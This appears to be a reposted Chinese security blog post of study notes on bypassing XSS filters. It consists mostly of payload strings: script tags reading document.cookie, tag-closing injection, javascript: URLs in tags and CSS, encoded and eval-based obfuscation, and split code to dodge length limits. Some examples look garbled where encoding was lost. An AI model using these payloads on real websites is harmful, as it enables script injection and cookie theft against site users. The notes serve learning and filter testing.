XSS绕过的常见方法

admin 2021年9月24日15:59:36评论606 views字数 2051阅读6分50秒阅读模式

我发些我在学习xss的一些笔记首先是测试使用的一些常用代码:



<script>alert('XSS test')</script>
“<script>alert('XSS test')</script>
<script>alert(document.cookie)</script>
javascript:alert(document.cookie);


<textarea>标签绕过:
后台在处理数据的时候echo '<textarea>'.$a."</textarea>"; 代码被放在了文本框内
那我们就可通过闭合标签绕过   </textarea><script>alert("xx")</script><textarea>

利用HTML标签执行XSS:【浏览器必须支持伪协议 如:IE6】
<img src="javascript:alert('xss')">    
<table background="javascript:alert('xss')"></table>
<a href="javascript:alert('xss')">点击触发</a>

空格回车TAB绕过:
<img src = "java script:alert('xss')">   中间的空格为TAB。
<img src="ja
vascript:alert('xss')">  通过回车分隔

XSS绕过的常见方法


ASCII转码:
<img src="javascr&#105pt:alert(/xxxx/)"> i的的ascii编码是&#105 此方法只能运用在HTML标签中

利用HTML中的事件触发XSS:
<img src="#"> 当src引用的图片不存在 触发onerror事件   (这也就是@m01lym0on 所用到的方法)
利用CSS跨站:
<div style="background-image:url(javascript:alert('sss'))">
<style>body{background-image:url(javascript:alert('saaa'))} ;</style>
<img src="#" style="xss:expression(alert('ssss'))">

如果style被禁:
<div style="list-style-image:url(javascript:alert('xxx'))">
<img style ="background-image:url(javascript:alert('sss'))">

外部引用含有XSS的CSS文件:
www.xxx.com/1.css里写入通过link引入
p{
     background-image:expression(alert('xss'))
}
在目标站通过link引入
<link rel="stylesheet" href="www.xxx.com/1.css">

通过@import直接执行javascript代码:
<style>@import “javascript:alert('sss')”;</style>

大小写混淆绕过:
<img src="#">

不用空格:
<img/src="javascript:alert('sss')">

通过全角字符绕过:
<div style="left:expression(alert('xx'))">

通过/**/,混淆过滤:
<img st/**/src ="javascript:alert('sssa')">
<style>@import "javascript:alert('sss')";</style>

利用字符编码绕过:
<img src="javascript:&#97;lert&#40;&#39;xxxx&#39;&#41;">  10进制转义
<img src="javascript:alert('xxxx')">     16进制转义

<script>eval("alert('xaaa')")</script>  通过eval()函数执行js
<script>eval("x61x6cx65x72x74x28x27x78x78x78x78x27x29")</script>  16进制转码后通过eval函数执行
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,122,122,39,41))">       eval()配合String.fromCharCode()函数执行10进制脚本


代码拆分执行:
    <script>z='javascript:'</script>
    <script>z=z+'alert(/xxss/)'</script>
    <script>eval(z)</script>    可绕过字符长度限制


-------------------------
以上都是在《XSS跨站脚本攻击剖析与防御》学习到的绕过方法

本文始发于微信公众号(飓风网络安全):XSS绕过的常见方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月24日15:59:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS绕过的常见方法https://cn-sec.com/archives/359568.html

发表评论

匿名网友 填写信息